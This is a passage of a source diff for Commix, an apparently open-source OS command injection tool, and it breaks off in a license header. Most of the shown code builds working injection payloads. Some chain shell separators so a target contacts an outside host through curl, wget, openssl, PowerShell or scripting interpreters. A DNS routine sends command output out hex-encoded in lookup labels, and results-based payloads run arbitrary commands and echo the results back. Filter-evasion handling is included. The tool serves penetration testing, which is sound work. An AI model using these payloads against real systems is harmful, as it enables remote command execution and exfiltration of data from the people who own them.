"h.use_ssl=(u.scheme=='https');h.verify_mode=OpenSSL::SSL::VERIFY_NONE;h." + verb + "\"") + +""" +Build the 's_client' command a payload runs, writing the request onto the connection itself. + +The client of last resort: a host with no curl, no wget and no interpreter at all still tends to +have this one, and unlike a raw socket it speaks TLS, so it reaches a server over HTTPS as well. + +'-quiet' is deliberately not passed. It implies '-ign_eof', which holds the connection open after +the request has gone instead of letting it close - and nothing here reads the answer, since what +proves the command ran is the request arriving at the server, which has happened by then. Left to +close on end of input, this cannot sit holding one of the target's own workers open waiting. +""" +def _openssl_cmd(hostname, cmd=None, proof=""): + scheme = settings.OOB_SCHEME or "https" + port = str(settings.OOB_PORT or (443 if scheme == "https" else 80)) + connect = (PIPE + "openssl s_client -connect " + hostname + ":" + port + + " -servername " + hostname + " 2>/dev/null") + # Double quoted, so the shell works the sum out before 'printf' is handed the request line. + # Named here rather than asked of 'checks.print_*', which the rest of the payloads print through: + # what is being written is a request line, and the one thing 'echo' cannot be relied on for on + # every shell is the '\r\n' that ends one. Nothing else in an out-of-band payload prints at all, + # so this is still the only name one of them carries. + if cmd is None: + return "printf \"GET /" + proof + " HTTP/1.0\\r\\nHost: " + hostname + "\\r\\n\\r\\n\"" + connect + """ + The output is read into a variable before any of it is sent, because the length has to go in the + header that precedes it and '${#name}' is the one way to count it that every POSIX shell has. + Sending it without that header would leave the body for the receiving end to read off a closed + connection, which is not something an HTTP server is obliged to do. + """ + return ("OOBLEN=$(" + cmd + ");printf \"POST / HTTP/1.0\\r\\nHost: " + hostname + + "\\r\\nContent-Length: ${#OOBLEN}\\r\\n\\r\\n%s\" \"$OOBLEN\"" + connect) + +""" +Build the command that makes the target contact a hostname, carrying a sum for it to evaluate. +""" +def reach_command(transport, hostname, proof="", separator=OR): + if transport == "curl": + return "curl -s " + _url(hostname, proof) + if transport == "wget": + return "wget -qO- " + _url(hostname, proof) + if transport == "python": + return _python_prog(hostname, proof=proof) + if transport == "php": + return _php_prog(hostname, proof=proof) + if transport == "ruby": + return _ruby_prog(hostname, proof=proof) + if transport == "openssl": + return _openssl_cmd(hostname, proof=proof) + if transport == "dns": + # Resolving the name is enough to prove execution, and needs no HTTP client at all. + return dns_lookup_command(hostname, separator, proof=proof) + if transport == "powershell": + # 'iwr' only exists from PowerShell 3.0, while Net.WebClient goes back to 1.0. The URL keeps + # the single quotes cmd.exe passes through untouched - a double quoted one arrives stripped of + # them - and stdin is closed, so nothing waits on a console the target has not got. + return ("powershell.exe -InputFormat none -Command (New-Object Net.WebClient).DownloadString('" + + _url(hostname, proof) + "')") + return "" + +""" +The command that makes the target resolve a name. + +On Windows 'nslookup' is always there, but not necessarily left alone - 'Resolve-DnsName' follows +it for the rare host where it is blocked or removed. Elsewhere 'nslookup' is part of an optional +package, so the ones a host is likely to have instead follow it, and 'ping' comes last because it +waits for a reply that a host with its echo traffic filtered will never get. They are chained with +the separator being tested, so a sink that filters some other operator does not defeat the +separator that would have worked; where there is nothing to chain with, only the likeliest command +is sent. +""" +def dns_lookup_command(hostname, separator=OR, proof=""): + # The sum rides in a label of its own in front of the name, which is the only place a lookup has + # to put anything. The shell works it out before the name is resolved, so what reaches the server + # is the result rather than the expression - the same thing the URL carries for an HTTP client. + if proof: + hostname = proof + "." + hostname + if settings.TARGET_OS == settings.OS.WINDOWS: + commands = ["nslookup " + hostname, + "powershell.exe -InputFormat none -Command Resolve-DnsName " + hostname] + else: + commands = ["nslookup " + hostname, "getent hosts " + hostname, "host " + hostname, "ping -c1 " + hostname] + if not separator: + return commands[0] + return separator.join(commands) + +""" +Out-of-band decision payload (check if host is vulnerable). +""" +def decision(separator, transport, hostname, proof="", prologue=""): + payload = separator + prologue + reach_command(transport, hostname, proof, separator) + # The payload ends on a hostname, the part a sink's trailing characters would land in. + return checks.terminate_oob_payload(payload, separator) + +# Standing in for a command, so how a language wraps one can be read back off the result. +EVAL_MARK = "\x00command\x00" + +# How the language now in force renders a command whose output it hands back. +def _rendered(command): + return settings.EVAL_GRAMMAR.print_statement("", [command]) + +""" +Out-of-band decision payload for a dynamic code evaluation sink. +""" +def decision_eval(separator, transport, hostname, proof="", prologue=""): + command = prologue + reach_command(transport, hostname, proof) + return _rendered(command) + (settings.EVAL_GRAMMAR.TERMINATOR if separator else "") + +""" +Out-of-band payload that sends the output of a command back through an evaluation sink. +""" +def exfiltrate_eval(separator, transport, hostname, cmd): + inner = exfiltrate("", transport, hostname, cmd) + if not inner: + return "" + return _rendered(inner) + (settings.EVAL_GRAMMAR.TERMINATOR if separator else "") + +""" +The prefixes an evaluation sink is reached through, execution functions included. +""" +def eval_prefixes(): + return checks.eval_prefixes() + +""" +Report whether a stored payload targets an evaluation sink. +""" +def is_eval(payload): + if not payload: + return False + # A stored payload may have been built in a language other than the one in force now, so every + # supported one is asked how it opens such a call. + from src.core import eval as _eval + for language in settings.SUPPORTED_EVAL_LANGUAGES: + opening = _eval.grammar(language).print_statement("", [EVAL_MARK]).split(EVAL_MARK)[0] + if opening and opening in payload: + return True + return False + +""" +Name the transport a stored payload was built with. +""" +def transport_of(payload): + payload = payload or "" + # Keyed on what the payload runs, which is not always the transport's name. A stored payload is + # URL-encoded, so a marker must not rely on whitespace. + # Tamper scripts such as 'doublequotes', 'caret', 'backslashes' and 'dollaratsigns' interleave + # filler between a word's letters to dodge keyword filters, which splits a marker apart - strip + # that filler back out before looking for one. + normalized = re.sub(r'""|\^|\\|\$@', "", payload) + for transport, marker in (("python", "urllib.request"), ("php", "file_get_contents"), + ("ruby", "VERIFY_NONE"), ("openssl", "s_client"), + ("dns", "nslookup"), ("curl", "curl"), + ("wget", "wget"), ("powershell", "powershell")): + if marker in normalized: + return transport + return "" + +""" +The transports to try, in order. A confirmed one wins outright, and '--interpreter' tells us the +target has Python, so that client is worth trying before the rest. +""" +def transports(): + if settings.OOB_TRANSPORT: + return [settings.OOB_TRANSPORT] + order = list(WINDOWS_TRANSPORTS) if settings.TARGET_OS == settings.OS.WINDOWS else list(UNIX_TRANSPORTS) + # Left out of the per-boundary sweep: the sweep costs a request per boundary per transport, and + # whether a target has one of these is not something a boundary changes. They are asked once a + # boundary is confirmed instead, through 'upgrade_candidates()'. + order = [candidate for candidate in order if candidate not in FALLBACK_TRANSPORTS] + order = [candidate for candidate in order if scheme_allows(candidate)] + if menu.options.interpreter and "python" in order: + order.remove("python") + order.insert(0, "python") + # The one the heuristic already saw answer leads, whichever kind it is. + if settings.OOB_HEURISTIC_TRANSPORT in order: + order.remove(settings.OOB_HEURISTIC_TRANSPORT) + order.insert(0, settings.OOB_HEURISTIC_TRANSPORT) + # An HTTP client that stayed silent on a payload the heuristic proved had run is not worth a probe + # on every boundary of the sweep: the lookup carries the sweep on its own, and the clients that + # were never asked are tried once - on the boundary the lookup confirms. + if settings.OOB_HEURISTIC_HTTP_SILENT and any(required_protocol(candidate) == "dns" for candidate in order): + order = [candidate for candidate in order if required_protocol(candidate) == "dns"] + return order + +""" +The clients worth one request each once a boundary is confirmed: the ones that carry output back +whole and that the heuristic never got to ask. A slow one is left out - the point is already found, +so a client that blocks for half a minute costs more than the whole output it might have carried. +""" +def upgrade_candidates(): + return [candidate for candidate in exfiltration_alternatives("dns") + if required_protocol(candidate) == "http" and candidate not in SLOW_TRANSPORTS + and candidate not in settings.OOB_HEURISTIC_HTTP_SILENT] + +""" +The HTTP clients that were really asked, so a report names those and not the ones left out. +""" +def tried_http_clients(): + if not settings.OOB_HEURISTIC_HTTP_SILENT: + return [candidate for candidate in exfiltration_alternatives("dns") if required_protocol(candidate) == "http"] + return list(dict.fromkeys(list(settings.OOB_HEURISTIC_HTTP_SILENT) + upgrade_candidates())) + +""" +The clients that could have carried command output back, and so were tried ahead of this one. +""" +def exfiltration_alternatives(transport): + order = WINDOWS_TRANSPORTS if settings.TARGET_OS == settings.OS.WINDOWS else UNIX_TRANSPORTS + return [candidate for candidate in order + if candidate != transport and supports_exfiltration(candidate) and scheme_allows(candidate)] + +""" +The interaction a transport has to produce to count as working. Resolving the name is not enough +for an HTTP client - it happens even when the request itself never completes. +""" +def required_protocol(transport): + return "dns" if transport == "dns" else "http" + +""" +Build one heuristic payload that tries several clients across several separators at once, plus the +tokens to watch for. + +This is only a cheap yes/no on whether the parameter is worth testing, so it carries no sum to +check - the sweep proves execution properly before anything is reported. +""" +def heuristic_payload(channel, target_os): + if target_os == settings.OS.WINDOWS: + # Both of cmd.exe's chaining operators, over the two clients that answer quickly. PowerShell + # is left out on purpose: where a host has no way out, it holds the request open for far + # longer than a yes/no is worth. + pairs = (("&", "curl"), ("&", "dns"), ("|", "dns")) + else: + # One HTTP client and the name lookup on both of the separators a shell chains on: a host that + # lets nothing out over HTTP still answers through its resolver. + pairs = ((";", "curl"), ("&", "dns"), ("|", "dns")) + parts = [] + probes = [] + for separator, transport in pairs: + token, hostname = channel.new_payload() + parts.append(separator + reach_command(transport, hostname, separator=separator)) + probes.append((token, transport)) + # Closed on the last separator it chained on: this probe spans several by design, but the tail + # has no call to be a character the payload has not already used. + payload = checks.terminate_oob_payload("".join(parts), pairs[-1][0], target_os) + return payload, probes + +""" +Report whether a transport can carry a computation the receiving end can check. +""" +def supports_proof(transport): + return transport in ("curl", "wget", "python", "powershell", "php", "ruby", "openssl", "dns") + +""" +Build a sum for the target to evaluate, returned as (expression, expected result, prologue). The +prologue is whatever has to run before the command for the expression to hold a value - nothing, +on a shell that expands arithmetic inside an argument. + +An interaction only proves that something reached us - a filtering appliance that fetches URLs it +finds in a parameter would produce the same signal, and re-verifying with a fresh token would not +tell the two apart. A shell that really ran the command sends the sum's result; anything replaying +the URL verbatim sends the expression instead. +""" +def proof(transport, plus=PLUS): + if not supports_proof(transport): + return "", "", "" + first = random.randrange(1000, 9999) + second = random.randrange(1000, 9999) + # Bracketed by a marker, so the result cannot be mistaken for a number occurring anywhere else. + tag = "".join(random.choice(string.ascii_uppercase) for _ in range(6)) + # Under '--skip-calc' the sum is replaced, but not by a literal - a replayed URL would carry that + # through unchanged and prove nothing. What stands in for it still has to be evaluated to resolve. + token = "".join(random.choice(string.ascii_uppercase) for _ in range(6)) + expected = token if settings.SKIP_CALC else str(first + second) + if transport == "powershell": + # Concatenated outside the URL's quotes: PowerShell expands nothing inside a single-quoted + # string, so a sum left in there would be sent as written. + if settings.SKIP_CALC: + total = "'" + plus + "('" + token + "')" + plus + "'" + else: + total = "'" + plus + "(" + str(first) + plus + str(second) + ")" + plus + "'" + elif settings.TARGET_OS == settings.OS.WINDOWS: + # 'set /a' is the only arithmetic cmd.exe has and it only writes its answer out, so the sum is + # worked out first and read into the variable the command is then built around. + inner = "echo " + token if settings.SKIP_CALC else "set /a " + str(first) + plus + str(second) + prologue = ("for /f \"tokens=* eol=\" %i in ('cmd /c \"" + inner + + "\"') do ") + return tag + "%i" + tag, tag + expected + tag, prologue + elif settings.SKIP_CALC: + # Command substitution either way, so '--tamper=backticks' reaches here too. + total = settings.CMD_SUB_PREFIX + "echo" + settings.SINGLE_WHITESPACE + token + settings.CMD_SUB_SUFFIX + elif checks.using_backticks() or settings.WAF_ENABLED: + # Same fallback the classic technique uses, so '--tamper=backticks' reaches here too. + total = (settings.CMD_SUB_PREFIX + "expr" + settings.SINGLE_WHITESPACE + str(first) + + settings.SINGLE_WHITESPACE + plus + settings.SINGLE_WHITESPACE + str(second) + + settings.CMD_SUB_SUFFIX) + else: + # Arithmetic expansion is the substitution pair with one more set of parentheses inside it. + total = settings.CMD_SUB_PREFIX + "(" + str(first) + plus + str(second) + ")" + settings.CMD_SUB_SUFFIX + return tag + total + tag, tag + expected + tag, "" + +""" +Report whether a transport can carry command output back. +""" +def supports_exfiltration(transport): + return transport in ("curl", "wget", "python", "powershell", "dns", "php", "ruby", "openssl") + +""" +Hex characters per label, so a name stays inside the 253 bytes a DNS query has for it. Even, so a +byte is never split across two labels. +""" +DNS_CHUNK = 60 + +""" +Build the command that reads a command's output out over name resolution alone: the output goes out +hex-encoded, a chunk to a label, each one numbered so the pieces can be put back in order. + +Hex, because a label holds letters, digits and hyphens only - and lowercase on the way back, since a +resolver is free to change the case of what it forwards. +""" +def dns_exfil_command(hostname, cmd, separator=""): + chunk = str(DNS_CHUNK) + if settings.TARGET_OS == settings.OS.WINDOWS: + # No pipe and no double quote of its own: cmd.exe would read the first as its own and strip the + # second before PowerShell ever saw them. + # Every '+' goes in encoded: a bare one arrives as a space where the payload is URL-decoded. + return ("powershell.exe -InputFormat none -Command " + "$h=[BitConverter]::ToString([Text.Encoding]::UTF8.GetBytes((" + + "[string](cmd /c " + cmd + ")).Trim())).Replace('-','');" + "$t=[int][Math]::Ceiling($h.Length/" + chunk + ");$i=0;" + "while($i -lt $h.Length){" + "$c=$h.Substring($i,[Math]::Min(" + chunk + ",$h.Length-$i));" + "nslookup ([string]([int]($i/" + chunk + ")" + PLUS + "1)" + PLUS + "'-'" + PLUS + + "[string]$t" + PLUS + "'.'" + PLUS + "$c" + PLUS + "'." + hostname + "');" + "$i" + PLUS + "=" + chunk + "}") + # The hex goes out as one pipeline, so the payload needs no separator of its own beyond the one + # under test: 'fold' cuts the chunks, 'cat -n' numbers them, and the tab it numbers with becomes + # the label separator. 'od' and the tools around it are POSIX, so this holds outside bash as well. + encoded = ("(" + cmd + ")" + PIPE + "od -An -v -tx1" + PIPE + + "tr -d ' " + settings.END_LINE.ESCAPED_LF + "'") + # CRLF is left to the pipeline below: the loop needs its statements on lines of their own, and a + # shell reads the carriage return as part of the word - 'done\r' is not 'done'. + if separator not in (";", "\n"): + # The name goes in through the environment and the chunk as an argument, because a BSD 'xargs' + # will not build a replaced argument longer than 255 bytes - the lookup chain alone is more. + # The lookups chain on the separator under test like everything else: defaulting to '||' here + # asked the sink to pass an operator the detection never proved it would. + return (encoded + PIPE + "fold -w" + chunk + PIPE + "cat -n" + PIPE + "tr -d ' '" + PIPE + + "tr '\\t' '.'" + PIPE + "xargs -I{} env H=" + hostname + " sh -c '" + + dns_lookup_command("$0.$H", separator) + "' {}") + # A separator that ends a statement can carry a loop instead, which knows how many chunks there + # are and says so in every label - the reading end then knows when it has them all. A space after + # the opening, or '$((' would be read as arithmetic instead of a subshell. + return (settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + settings.SINGLE_WHITESPACE + encoded + settings.CMD_SUB_SUFFIX + separator + + "t=$(( (${#" + settings.RANDOM_VAR_GENERATOR + "} + " + str(DNS_CHUNK - 1) + ") / " + chunk + " ))" + separator + "i=1" + separator + "n=1" + separator + + "r(){ " + dns_lookup_command("$1", separator) + separator + "}" + separator + + "while [ $i -le ${#" + settings.RANDOM_VAR_GENERATOR + "} ]" + separator + "do " + + "r $n-$t.$(echo $" + settings.RANDOM_VAR_GENERATOR + "|cut -c$i-$((i+" + str(DNS_CHUNK - 1) + ")))." + hostname + separator + + "i=$((i+" + chunk + "))" + separator + "n=$((n+1))" + separator + "done") + +""" +Put the pieces of a hex-encoded output back together, in the order the labels numbered them. +""" +def decode_dns_output(chunks): + if not chunks: + return "" + encoded = "".join(chunks[index] for index in sorted(chunks)) + # A half byte at the end means a chunk went missing on the way. + encoded = encoded[:len(encoded) - len(encoded) % 2] + try: + decoded = binascii.unhexlify(encoded.encode()).decode(settings.DEFAULT_CODEC, errors="replace") + except (binascii.Error, TypeError): + return "" + # The encoding takes the command's output as it stands, trailing newline and all. + return decoded.rstrip(settings.END_LINE.CR + settings.END_LINE.LF) + +""" +Build the command that sends the output of a command to the server. +""" +def exfil_command(transport, hostname, cmd, pipe=PIPE, separator=""): + if transport == "dns": + return dns_exfil_command(hostname, cmd, separator) + # Grouped, or a compound command sends only its last part. + grouped = "(" + cmd + ")" + if transport == "curl": + return grouped + pipe + "curl -s --data-binary @- " + _url(hostname) + if transport == "wget": + # wget cannot post from stdin. + return "wget -qO- --post-data=\"$" + grouped + "\" " + _url(hostname) + if transport == "python": + return grouped + pipe + _python_prog(hostname, from_stdin=True) + if transport == "php": + return grouped + pipe + _php_prog(hostname, from_stdin=True) + if transport == "ruby": + return grouped + pipe + _ruby_prog(hostname, from_stdin=True) + if transport == "openssl": + # Handed the command rather than a pipe: the length header has to be written before the body, + # so the output is counted first instead of being streamed straight onto the connection. + return _openssl_cmd(hostname, cmd=cmd) + if transport == "powershell": + # Out-String joins the lines into one body. + return ("powershell.exe -c iwr -Uri " + _url(hostname) + " -Method POST -Body " + "(cmd /c '" + cmd + "'" + pipe + "Out-String) -UseBasicParsing") + return "" + +""" +Out-of-band payload that sends the output of a command to the server. +""" +def exfiltrate(separator, transport, hostname, cmd): + command = exfil_command(transport, hostname, cmd, separator=separator) + if not command: + return "" + payload = separator + command + return checks.terminate_oob_payload(payload, separator) + +# eof diff --git a/src/core/techniques/results_based/__init__.py b/src/core/techniques/results_based/__init__.py new file mode 100644 index 0000000000..ca8037d413 --- /dev/null +++ b/src/core/techniques/results_based/__init__.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +pass + +# eof diff --git a/src/core/techniques/results_based/rb_handler.py b/src/core/techniques/results_based/rb_handler.py new file mode 100755 index 0000000000..f459e86093 --- /dev/null +++ b/src/core/techniques/results_based/rb_handler.py @@ -0,0 +1,35 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +from src.core.controller import handler + +""" +The "classic" technique on result-based OS command injection. +""" + +""" +The "classic" injection technique handler. +""" +def rb_injection_handler(url, timesec, filename, http_request_method, injection_type, technique): + return handler.do_results_based_process(url, timesec, filename, http_request_method, injection_type, technique) + +""" +The exploitation function. +(call the injection handler) +""" +def exploitation(url, timesec, filename, http_request_method, injection_type, technique): + return rb_injection_handler(url, timesec, filename, http_request_method, injection_type, technique) + +# eof diff --git a/src/core/techniques/results_based/rb_injector.py b/src/core/techniques/results_based/rb_injector.py new file mode 100755 index 0000000000..46d1bc424b --- /dev/null +++ b/src/core/techniques/results_based/rb_injector.py @@ -0,0 +1,42 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +from src.core.controller import injector + +""" +The "classic" technique on result-based OS command injection. +""" + +""" +Evaluate test results. +""" +def injection_test_results(response, TAG, randvcalc, technique, payload=None): + return injector.injection_test_results(response, TAG, randvcalc, technique, payload) + +""" +The main command injection exploitation. +""" +def injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, technique): + OUTPUT_TEXTFILE = "" + return injector.results_based_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique) + +""" +The command execution results. +""" +def injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec): + url = OUTPUT_TEXTFILE = timesec = "" + return injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) + +# eof diff --git a/src/core/techniques/results_based/rb_payloads.py b/src/core/techniques/results_based/rb_payloads.py new file mode 100755 index 0000000000..ea87c72476 --- /dev/null +++ b/src/core/techniques/results_based/rb_payloads.py @@ -0,0 +1,238 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +from src.utils import settings +from src.core.controller import checks + +""" +The classic injection technique on Classic OS Command Injection. +The available "classic" payloads. +""" + +""" +Classic decision payload (check if host is vulnerable). +""" +def decision(separator, TAG, randv1, randv2): + if settings.TARGET_OS == settings.OS.WINDOWS: + chain = checks.windows_separator(separator) + if chain is None: + return "" + if settings.SKIP_CALC: + payload = (chain + + "echo " + TAG + TAG + TAG + ) + else: + # 'set /p' prints its prompt without a trailing newline, so the marker arrives in one piece. + payload = (chain + + "for /f \"tokens=* eol=\" %i in ('cmd /c \"" + + "set /a (" + str(randv1) + "+" + str(randv2) + ")" + + "\"') do @" + settings.CMD_NUL + " set /p=" + TAG + "%i" + TAG + TAG + ) + else: + if settings.SKIP_CALC: + payload = (separator + + checks.print_words(TAG + + settings.CMD_SUB_PREFIX + checks.print_marker(TAG) + settings.CMD_SUB_SUFFIX + TAG) + ) + else: + if checks.using_backticks() or settings.WAF_ENABLED: + math_calc = settings.CMD_SUB_PREFIX + "expr " + str(randv1) + " + " + str(randv2) + settings.CMD_SUB_SUFFIX + else: + # Arithmetic expansion is the substitution pair with one more set of parentheses inside it. + math_calc = settings.CMD_SUB_PREFIX + "(" + str(randv1) + "+" + str(randv2) + ")" + settings.CMD_SUB_SUFFIX + payload = (separator + + checks.print_words(TAG + + math_calc + + settings.CMD_SUB_PREFIX + checks.print_marker(TAG) + settings.CMD_SUB_SUFFIX + TAG) + ) + + payload = checks.terminate_payload(payload, separator, keep_output=True) + + return payload + +""" +__Warning__: The alternative shells are still experimental. +""" +def decision_alter_interpreter(separator, TAG, randv1, randv2): + if settings.TARGET_OS == settings.OS.WINDOWS: + chain = checks.windows_separator(separator) + if chain is None: + return "" + if settings.SKIP_CALC: + python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"print('" + TAG + "'+'" + TAG + "'+'" + TAG + "')\"" + else: + python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"print('" + TAG + "'+str(int(" + str(int(randv1)) + "+" + str(int(randv2)) + "))" + "+'" + TAG + "'+'" + TAG + "')\"" + + payload = (chain + + "for /f \"tokens=* eol=\" %i in ('cmd /c " + + python_payload + + "') do @" + settings.CMD_NUL + " set /p=%i" + ) + else: + if settings.SKIP_CALC: + payload = (separator + + settings.LINUX_PYTHON_INTERPRETER + " -c \"print('" + TAG + + TAG + + TAG + "')\"" + ) + else: + payload = (separator + + settings.LINUX_PYTHON_INTERPRETER + " -c \"print('" + TAG + + "'+str(int(" + str(int(randv1)) + "+" + str(int(randv2)) + "))" + "+'" + + TAG + "'+'" + + TAG + "')\"" + ) + + payload = checks.terminate_payload(payload, separator, keep_output=True) + + return payload + +""" +A command's output as a single line, with every byte it printed still in it - its line breaks among +them, marked rather than thrown away. + +'echo' is handed the output through a substitution, and an unquoted one is split into words and +rejoined with one space each - so runs of whitespace inside the output collapse and its ends are +dropped. Quoted instead, that whitespace survives but so do the newlines, and a sink handing back +only the last line of what it ran then answers with nothing at all. Both are avoided by asking +'awk' for the output with its line breaks standing in a marker's place: the value goes in as an +argument rather than through a pipe, so nothing is introduced that the payload is not proving, and +the program is a single statement, so it needs no separator of its own either - the two 'gsub' are +added for the condition of a choice whose answers are the same, since each hands back a count +rather than the string it rewrote. The markers arrive as variables, a literal one being the +whitespace substitution's to take even inside awk's own quotes, and 'OFS' holds the one for a +newline because that is what it already held when a space was what a newline became. + +A break put back on this side rather than left out is the whole of what the output owes its own +shape to: a list comes back a list, and the paragraph a target answered a list with is gone. +""" +def single_line_output(cmd): + return (settings.CMD_SUB_PREFIX + "LC_ALL=C awk -v OFS=" + settings.RESULTS_BASED_LF_MARKER + + " -v r=" + settings.RESULTS_BASED_CR_MARKER + " 'BEGIN{print(gsub(/" + + settings.END_LINE.ESCAPED_CR + "/,r,ARGV[1])+gsub(/" + + settings.END_LINE.ESCAPED_LF + "/,OFS,ARGV[1])?ARGV[1]:ARGV[1])}' \"" + + settings.CMD_SUB_PREFIX + cmd + settings.CMD_SUB_SUFFIX + "\"" + + settings.CMD_SUB_SUFFIX) + +""" +Execute shell commands on vulnerable host. +""" +def cmd_execution(separator, TAG, cmd): + if settings.TARGET_OS == settings.OS.WINDOWS: + chain = checks.windows_separator(separator) + if chain is None: + return "" + if settings.REVERSE_TCP: + payload = (chain + + cmd + settings.SINGLE_WHITESPACE + ) + else: + payload = (chain + + "for /f \"tokens=* eol=\" %i in ('cmd /c \"" + + checks.caret_escaped(cmd) + + "\"') do @" + settings.CMD_NUL + " set /p=" + TAG + TAG + "%i" + TAG + TAG + ) + else: + settings.USER_APPLIED_CMD = cmd + # Asked for only where the payload still reaches the target written the way it was built. A + # script rewriting it works over the quoting itself, and this reading puts a quoted + # substitution inside a quoted one - a level deeper than anything else here - which six of + # those scripts take apart and one turns into a command that waits. Where any is in effect, or + # the substitution in use cannot hold another, the output goes in the way it always did: split + # into words by the shell and rejoined with one space each, which collapses the whitespace + # inside it but does leave the one line the markers are looked for on - a collapsed answer + # rather than no answer. + exact = (settings.RESULTS_BASED_EXACT_OUTPUT and checks.substitution_nests() + and not any(settings.TAMPER_SCRIPTS.values())) + if exact: + # Written with 'printf' rather than 'echo', which on the shell '/bin/sh' usually is reads the + # backslashes of what it was handed and a leading '-n' or '-e' of it as options of its own: + # a path of "C:\path\to\file" came back carrying a tab and a formfeed. The markers go in the + # format, where they are still the shell's to read, and the output goes in as the argument of + # a '%s' - written out a byte at a time, and quoted, since it is one line by now with no + # newline left for the page to lose. + payload = (separator + + "printf " + TAG + + settings.CMD_SUB_PREFIX + "printf " + TAG + settings.CMD_SUB_SUFFIX + + "%s" + + settings.CMD_SUB_PREFIX + "printf " + TAG + settings.CMD_SUB_SUFFIX + TAG + + " \"" + single_line_output(cmd) + "\"" + ) + else: + # Printed through the one command checks.print_words() names, and the markers through the same. + payload = (separator + + checks.print_words(TAG + + settings.CMD_SUB_PREFIX + checks.print_marker(TAG) + settings.CMD_SUB_SUFFIX + + settings.CMD_SUB_PREFIX + cmd + settings.CMD_SUB_SUFFIX + + settings.CMD_SUB_PREFIX + checks.print_marker(TAG) + settings.CMD_SUB_SUFFIX + TAG) + ) + + payload = checks.terminate_payload(payload, separator, keep_output=True) + + return payload + +""" +__Warning__: The alternative shells are still experimental. +""" +def cmd_execution_alter_interpreter(separator, TAG, cmd): + if settings.TARGET_OS == settings.OS.WINDOWS: + chain = checks.windows_separator(separator) + if chain is None: + return "" + if settings.REVERSE_TCP: + payload = (chain + + cmd + settings.SINGLE_WHITESPACE + ) + else: + # Run through 'cmd /c', or PowerShell would look the command up among its own cmdlets. + payload = (chain + + "for /f \"tokens=* eol=\" %i in ('" + + settings.WIN_PYTHON_INTERPRETER + + " -c \"import os; os.system('powershell.exe -InputFormat none write-host " + + TAG + TAG + " $(cmd /c " + cmd + ") "+ TAG + TAG + "')\"" + + "') do @" + settings.CMD_NUL + " set /p=%i" + ) + else: + settings.USER_APPLIED_CMD = cmd + cmd_exec = settings.CMD_SUB_PREFIX + cmd + settings.CMD_SUB_SUFFIX + # Handed to the interpreter as an argument rather than written into the program it is given to + # run. Written in, the output sat inside a quoted string there, so a quote of its own closed + # that string early and the interpreter answered with a syntax error rather than with the + # command's output - silently, the run reporting nothing at all for a command that worked. The + # way the tempfile-based technique already passes it, and no second substitution to nest. + # Its line breaks marked as the reading above marks them, and for the same reason: printed as + # themselves they are lines of their own, and a sink that hands back only the last of those + # answers without the marker the output is looked for after. Written as the characters they + # are, so that nothing of the payload is a backslash for a shell to read on the way. + # + # Written out as the bytes the target handed over rather than printed as text: the interpreter + # there encodes what it prints for the locale it was started in, and a target whose locale is + # the ASCII one answered a command whose output was not ASCII with an encoding error and + # nothing else - so an accented name, or any byte above 127, lost the whole output rather than + # itself. The way this technique's file-based counterpart already writes it. + marked = ("os.fsencode(sys.argv[1]).replace(bytes([13]),b'" + settings.RESULTS_BASED_CR_MARKER + + "').replace(bytes([10]),b'" + settings.RESULTS_BASED_LF_MARKER + "')") + payload = (separator + + settings.LINUX_PYTHON_INTERPRETER + + " -c \"import os,sys" + settings.END_LINE.CR + + "sys.stdout.buffer.write(b'" + TAG + "'+b'" + TAG + "'+" + marked + "+b'" + + TAG + "'+b'" + TAG + "')\" \"" + cmd_exec + "\"" + ) + + payload = checks.terminate_payload(payload, separator, keep_output=True) + + return payload + +# eof diff --git a/src/core/techniques/tempfile_based/__init__.py b/src/core/techniques/tempfile_based/__init__.py new file mode 100644 index 0000000000..ca8037d413 --- /dev/null +++ b/src/core/techniques/tempfile_based/__init__.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +pass + +# eof diff --git a/src/core/techniques/tempfile_based/tfb_handler.py b/src/core/techniques/tempfile_based/tfb_handler.py new file mode 100755 index 0000000000..1972be57e2 --- /dev/null +++ b/src/core/techniques/tempfile_based/tfb_handler.py @@ -0,0 +1,272 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software 